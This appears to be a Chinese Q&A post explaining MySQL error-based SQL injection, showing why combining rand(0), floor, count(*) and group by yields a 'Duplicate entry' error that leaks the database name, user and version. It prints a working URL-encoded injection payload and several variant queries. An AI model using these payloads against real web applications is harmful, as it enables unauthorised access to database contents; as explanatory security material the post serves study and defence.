根據mysql報錯進行回顯注入的原理是什麼?

+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--

為什麼會產生Duplicate entry


主要是rand和group+by的衝突。在mysql的文檔中有這麼一句:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

說的是不可以作為ORDER BY的條件欄位, 同理也不可以為group by的。

故:

+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--

a為:concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))

有rand參與,後面又出現group+by+a語句,故會爆出

Duplicate entry "XXXXXXXXXX" for key "group_key"

之類的錯誤。

而這裡的「"XXXXXXXXXX」就是 0x5f,database(),0x5f,user(),0x5f,version()的內容,這樣子就可以獲取到資料庫名,用戶名和資料庫版本。

你可以自己的資料庫嘗試一下:

報錯的:

SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--

去掉rand後沒有報錯:

SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--

去掉GROUP BY a 後沒有報錯:

SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b--

--------------------------------------添加2014年7月18日----------------------------------

上面這個mysql的bug的主要問題是獲取的值不確定又可重複。同時又要來操作結果。

(說得有點繞了,表達能力不好啊)

下面依舊例子(表tuser ):

1. floor是取整數,如果沒有這個,那麼RAND(0)*2將是一個很長的小數,不會是會重複的數。

正常:

SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT((RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b--

2. *2是取0到2的隨機數,如果去掉或換成1,加上floor取整結果都是0,不會是不確定的數。

(*2是最小的可取整數值了,sqlmap上用的也有這句FLOOR(RAND(0)*2),那個注入語句一開始的作者用*2,當否網上不斷傳播,結果就是大家都*2),當然你*3,*4什麼的都是可以的。

正常的:

SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a

FROM information_schema.tables GROUP BY a)b--

3. 另外,如果沒有重新刷一次結果(例子中用的是count(*)來統計結果),單純以rand製造會重複的不確定數也是沒有效果的,如去掉count(*),那麼也不會報錯

正常的:

SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM

information_schema.tables GROUP BY a)b--

所以使用left(rand(),3)之類的也是可以的(會產生會重複不確定的數)

如:

報錯的:

SELECT id FROM tuser WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(LEFT(RAND(),3),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a

FROM information_schema.tables GROUP BY a)b--


Mysql報錯注入原理分析(count()、rand()、group by) 具體看這篇文章


再看一遍,體會更深了


推薦閱讀:

sql注入新手問題?
如何評價 KoolShare 論壇的 merlin 改版固件?
如果 CPU 存在安全後門,那麼使用國產伺服器能杜絕安全問題嗎?
如何看待「網易郵箱泄密事件」?
15年7月,最近QQ盜號(利用所謂聚會照片)是怎麼回事?這個釣魚網站最近已經見過多次了?

TAG:網路安全 | SQL注入 |